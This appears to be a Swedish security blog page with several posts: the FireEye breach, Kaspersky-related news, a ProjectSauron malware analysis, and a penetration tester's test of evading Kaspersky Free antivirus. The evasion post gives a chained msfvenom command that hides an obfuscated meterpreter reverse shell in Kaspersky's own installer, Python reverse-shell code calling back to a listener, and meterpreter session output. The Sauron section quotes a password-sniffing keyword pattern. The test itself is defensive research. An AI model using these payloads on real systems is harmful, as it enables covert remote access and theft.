FireEye som är ett av världens största säkerhetsföretag gick i förrgår ut med information om att dom blivit hackade. Enligt dem så har ingen information om kunduppgifter komprometterats vad de identifierat ännu men om så skulle vara fallet så har dessa kunder kontaktas direkt.
Att ge sig på och hacka säkerhetsföretag är ingen direkt nyhet och har hänt flertalet gånger tidigare. Bl.a. Kaspersky identifierade ett intrång 2015.
Det som däremot FireEye har gått ut och bekräftat som stulet (exfiltrerat) är deras verktyg som används vid penetrationstester och Red-Teaming. Inga zero-days har används eller blivit stulna, vilket är bra. Jag förvånas också över mängden verktyg, över 200 st som de blivit av med.
De som ligger bakom attacken är en avancerad angripare som kan mätas eller är en statlig aktör uppger företaget. FireEye som själva jobbar med att utreda intrång skriver att de aldrig sett denna typ av avancerade angreppsvektorer tidigare. Även FBI bekräftar denna bild som förmedlas. Följande kommentar var rätt intressant också:
Consistent with a nation-state cyber-espionage effort, the attacker primarily sought information related to certain government customers
Tyvärr verkar inte FireEye släppa några IOC:Er som hjälper att identifiera angriparna. Enligt bl.a Dave Kennedy så pekar på att det är Ryssland som ligger bakom attacken, bl.a baserat på att FireEye tidigare avslöjat ryska cyberoperationer. Utredningen pågår fortfarande och mer information kommer förhoppningsvis längre fram.
Kevin Mandia som är VD på FireEye kommenterar följande i press-releasen:
På GitHub har man lagt upp signaturer i form av IOC:er för att känna igen de verktyg som stulits och jag har kollat på verktygen och det ser ut att vara branschpraxis-verktyg såsom BloodHound (CoreHound), SafetyKatz (Mimikatz) och egna såsom Sharpersist och Sharpivot. Mycket är baserat på .Net men även så finns det Python, Rust och programspråket D.
Intressant också att det finns kod som heter matryoshka.rs (Rust) och just matryoshka kan ju vara rätt allmänt använt eftersom matryoshka är en rysk trädocka i flertalet dockor inuti. Men också namnet på en iransk hackinggrupps RAT, CopyKittens.
Här kan du ladda hem en sammanställning med verktygen i Yara-format:
Kaspersky lanserade nyligen en gratis version av sin antivirusmjukvara och jag bestämde mig för att testa vad den går för. Som del av mina uppdrag då jag testar säkerheten för mina uppdragsgivare (penetrationstester) så förekommer det att jag får i uppdrag att ta mig förbi eventuella säkerhetsprodukter såsom sandlådor och antivirus.
Det råder ingen tvekan om att det går att ta sig förbi majoriteten av alla säkerhetssystem såsom sandlådor, data loss prevention-verktyg och antivirus. Att däremot upptäcka i tid när någon försöker ta sig förbi ett säkerhetssystem och reagera på detta är avgörande.
Allmänna synpunkter om Kaspersky Free
Att ladda hem och installera Kaspersky Free Anti-Virus gick smidigt. Vid installationen fick jag frågan om jag vill ingå i Kaspersky Security Network (KSN) och då dela med mig av information om min dator samt skadlig kod som upptäcks på min dator. Jag förstår att inget i livet är gratis och att om jag använder Kaspersky Free så måste jag dela med mig av något. Men det verkar inte som att det är ett måste att ingå i KSN.
Nästa fundering är att det står att licensen gäller i 365 dagar. Vad händer efter det?
Test 1: Testvirus Eicar vs Kaspersky
Det första testet jag genomför är att ladda hem testviruset Eicar. Det finns på eicar.org och går att ladda hem på lite olika sätt: Direkt via HTTP, HTTPS eller i zip-fil. När jag laddar hem Eicar via HTTP så får jag ett meddelande direkt i webbläsaren att jag försöker ladda hem skadlig kod, vilket då påvisar att Kaspersky granskar okrypterad webbtrafik.
När jag försöker ladda hem Eicar via HTTPS så får jag inget meddelande, men jag varnas om jag aktivt försöker starta filen eller söker igenom filen. Detta visar på att Kaspersky ej troligtvis genomför MITM (man i mitten på HTTPS-surf).
Bra, då har vi verifierat att Kaspersky Free Anti-Virus är korrekt installerat.
Test 2: Powershell implantat vs Kaspersky
Nu börjar det bli lite mer avancerat. I detta test tänker jag testa ett implantat som heter PoshC2 och ligger på Github. Implantatet kan levereras via MS16-051, Word-makron eller Java JAR-filer. Jag väljer att köra via ett Word-makro och installation samt kommunikation fungerar utmärkt.
Skärmdumpen ovan påvisar att beacon skickas var femte sekund och att användaren heter IEUser. Eftersom Kaspersky var dålig på att upptäcka detta implantat så testar jag även att skicka upp Word-dokumentet till VirusTotal:
Bland de antivirus-motorer som detekterar denna skadlig kod är Avira, Avast, Fortinet och AVG. Jag noterar också att den gratis IOC-skannern Loki detekterar detta.
Test 3: Metasploit vs Kaspersky
Med hjälp av operativsystemet Kali Linux där Metasploit finns förinstallerat skapar jag en meterpreter reverse TCP payload.
Jag använder msfvenom på följande sätt:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.101.2.254 LPORT=443 -f raw -e x86/shikata_ga_nai -i 9 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -x kfa17.0.0.611abcsv_11811.exe -k -f exe -o kfa17.0.0.611abcsv_11811-meterpreter-msf.exe
Ovan kommandorad använder flertalet obfuskerare såsom shikata-ga-nai och lägger till Metasploits modul för att ansluta hem.
Denna payload gömmer vi sedan i Kasperskys egen installationsfil kfa17.0.0.611abcsv_11811.exe.
Detta var dock ingen match för Kaspersky att upptäcka:
Nästa test jag gör med Metasploit är att skapa en Python payload med hjälp av msfvenom:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.99.101 LPORT=443
Denna kod måste jag sedan modifiera så den fungerar tillsammans med PyInstaller som skapar en fristående .exe-fil.
Vilket motsvarar följande kod utan Base64-kodning:
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('192.168.99.101',443))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)
När jag sedan testar att köra exe-filen från PyInstaller så blir det ingen detektion hos Kaspersky:
[*] Sending stage (40747 bytes) to 192.168.99.100
[*] Meterpreter session 6 opened (192.168.99.101:443 -> 192.168.99.100:50511) at 2017-08-24 09:44:11 -0400
msf exploit(handler) > sessions -i 6
[*] Starting interaction with 6...
meterpreter > sysinfo
Computer : IE11Win8_1
OS : Windows 8.1 6.3.9600
Architecture : x86
Meterpreter : python/windows
meterpreter >
Eftersom Kaspersky inte lyckades att detektera mitt test är det intressant att se vadVirusTotal säger om filen. Nu får jag en detektionsratio på 13 av 64 antivirus-motorer.
Test 4: Shellter vs Kaspersky
Shellter Project är ett intressant verktyg som enligt utvecklaren kan användas för att dynamiskt injicera shellcode i PE-filer (Portable Executable).
Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.
Inbyggt i Shellter är möjligheten att skapa ett antal olika Metasploit meterpreter payloads:
meterpreter_reverse_tcp
meterpreter_reverse_http
meterpreter_reverse_https
meterpreter_bind_tcp
shell_reverse_tcp
shell_bind_tcp
WinExec
Och väljer du att köpa betalversionen (Pro) för 90 USD så får du ytterligare några payloads:
Meterpreter_Reverse_WINHTTP
Meterpreter_Reverse_WINHTTPS
Shell_Reverse_TCP_DNS
Och har du en egen payload så går det givetvis också bra. Några exempel på egen payload följer med i mappen shellcode_samples.
Jag kör Kali Linux där jag installerat Windows-emulatorn Wine och startar ShellterPro som är betalversionen med hjälp av följande argument:
Detta gör att payloaden meterpreter_reverse_tcp läggs till i filen kfa17.0.0.611abcsv_11811.exe. Övriga argument har att göra med hur Shellter försöker dölja payloaden för antivirus-program.
Sedan för jag över filen till Windows där Kaspersky körs och får då en anslutning till Metasploit när användaren klickar på filen:
[*] Sending stage (956991 bytes) to 192.168.99.100
[*] Meterpreter session 1 opened (192.168.99.101:443 -> 192.168.99.100:57922) at 2017-08-25 02:38:52 -0400
msf exploit(handler) >
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : IE11WIN8_1
OS : Windows 8.1 (Build 9600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
Laddar jag sedan upp denna testfil tillVirusTotal så är det enbart 4 st antivirus-motorer som identifierar denna som skadlig kod:
Slutsats
Det är relativt lätt att ta sig förbi Kaspersky antivirus men ovan visar på att inget antivirus är fullständigt. Om du vill vara på den säkra sidan bör du använda flertalet antivirus-motorer, åtminstone i gateways såsom perimeterskyddet mot internet och vid analys av filer på löstagbart media.
Att använda ett antivirusprogram är helt klart bättre än att inte använda något alls. I ovan tester mot VirusTotal så ingår inte Microsofts eget gratisskydd Security Essentials.
Tack till Laban Sköllermark och Emma Lilliestam för korrekturläsning.
Det ryska antivirus-företaget Kaspersky släpper ett operativsystem vid namn KasperskyOS. Operativsystemet har varit under utveckling i 14 år och har fokus på säkerhet i Internet of Things (11-11 var kodnamnet för OS:et tidigare).
OS:et kommer inte gå att köpa direkt från Kaspersky utan kommer att levereras med olika typer av utrustning direkt från hårdvaruleverantörer.
KasperskyOS använder sig av en mikrokernel som har Flux Advanced Security Kernel (FLASK) arkitektur. Flask är framtaget av bl.a. amerikanska myndigheten NSA och används av SELinux, TrustedBSD.
Kaspersky Secure Hypervisor kan användas tillsammans med KasperskyOS och då köra andra operativsystem, även så är OS:et POSIX-kompatibelt.
Redan nu har Kaspersky samarbete med två leverantörer: Kraftway switches samt SYSGO PikeOS som går KasperskyOS hypervisor (KSH). Operativet kommer inte som öppen källkod men möjlighet finns för leverantörer att granska koden.
För några dagar sedan så gick flertalet stora antivirus-leverantörer ut med en varning samt teknisk analys av en ny form av avancerad skadlig kod som troligtvis är utvecklad av gruppen Strider. Denna APT-liknande grupp (advanced persistent threat) har utvecklat Sauron (Remsec) sedan 2011 och har identifieras hos myndigheter i länder såsom Kina, Sverige, Ryssland och Belgien.
Projekt Sauron är sannolikt utvecklat av en stat eller statsunderstödd grupp i likhet med skadlig kod såsom Duqu, Flame, Equation, och Regin.
Koden är modulär och majoriteten av modulerna är skriva i programspråket Lua (precis som Stuxnet).
Att den skadliga koden fått namnet Sauron är på grund av denna Lua-modul som sköter tangentbords-loggningen (keylogger):
Även så innehåller den skadliga koden en loggningsmodul som även krypterar och komprimerar loggar. I övrigt har inga felstavningar observerats men exempelvis så förekommer italienska ord när nätvertrafik genomsöks efter ord såsom secret, pw, pass codice|uin|signin|strCodUtente|.*pass.*|.*pw|pw.*|additional_info|.*secret.*|.*segreto.*
Antivirusdetektion
En del av den skadliga koden som laddar in binära objekt upptäcktes först av Kaspersky 20160406 och då som HEUR:Trojan.Multi.Remsec.gen. Ungefär en vecka efter detta så kan även AegisLab, Antiy-AVL och Rising den skadliga koden.
Luftgap
Den skadliga koden ProjectSauron har även stöd för att ta sig över ”airgaps” eller luftgap som det heter på svenska. Dvs system som är så pass säkra/hemliga att de inte är anslutna till Internet. När en USB-sticka ansluts så skapas det ett virtuellt filsystem som inte är synligt med blotta ögat.
Även så är någon slags zero-day involverad som nyttjas när USB-stickor förflyttas mellan nätverk. Men varken Symantec eller Kaspersky vet ännu inte hur detta fungerar exakt.
Persistens
Installerar sig som en SSPI, Security Support Provider Interface och exporterar funktionen InitSecurityInterfaceW.
Kryptering
Över nätverket sker kryptering med RSA samt RC6 (5?). Lokala filer krypteras med RC4 samt Salsa20.
Nyckel som används är: 0xBAADF00D. Även kan C&C-kommandon skickas via ICMP och lyckas dekrypteringen av ICMP-paketet så kommer koden att exekveras på systemet.
False flag
Att baka in felaktiga eller information som vilseleder den som analyserar skadlig kod är något som blivit populärt på senare tid. Även Sauron gör detta och är extra tydligt när man tittar på metadata såsom när koden kompilerades:
Inte direkt krypterings-relaterat men lika bra att skriva en liten evalueringsrapport när vi ändå ska testa Kaspersky Anti-virus här på redaktionen.
Den version vi testar är version 8 (8.0.1.50) för Linux och deb-paket. Denna version finns att ladda hem och testa under 30 dagar. När man registrerar sig för ett test-konto så skickas även en länk för nedladdning av deb-paketet och en .key-fil som är licensen som används under dessa 30 testdagar.
Paktetet installeras med dpkg -i kes4lwks_8.0.1-50_i386.deb, vi fick ett felmeddelande att paktet libc6-i386 även måste installeras på vårat Ubuntu-system.
Efter detta gick det bra att installera Kaspersky Anti-virus. Efter installation så ska man köra /opt/kaspersky/kes4lwks/bin/kes4lwks-setup.pl för att ställa in installationen.
That’s it! Happy virus-hunting. Vi återkommer med ett test i nästa del av vår utvärdering.
Två studenter vid KTH har identifierat ett motmedel i krypterad IP-telefoni som gör att avlyssning ej är möjlig. Genom att använda en teknik vid namn phrase spotting technique så är det möjligt att urskilja vad som sägs vid krypterad IP-telefoni, detta är en avlyssninsteknik som tidigare identifierats vid MIT och av Google-anställda.
Det studenterna nu har gjort är att analysera problemet och kommit med förslag på flera sätt att skydda sig mot säkerhetsluckan, och därtill introducerad en ny teknisk modell – voice coder – för hur man ska kunna kommunicera utan att riskera att bli avlyssnad.
Studenterna Vasily Prokopov och Oleksii Chyrkov gjorde medverkar även i en tävling som anti-virusföretaget Kaspersky utlyst.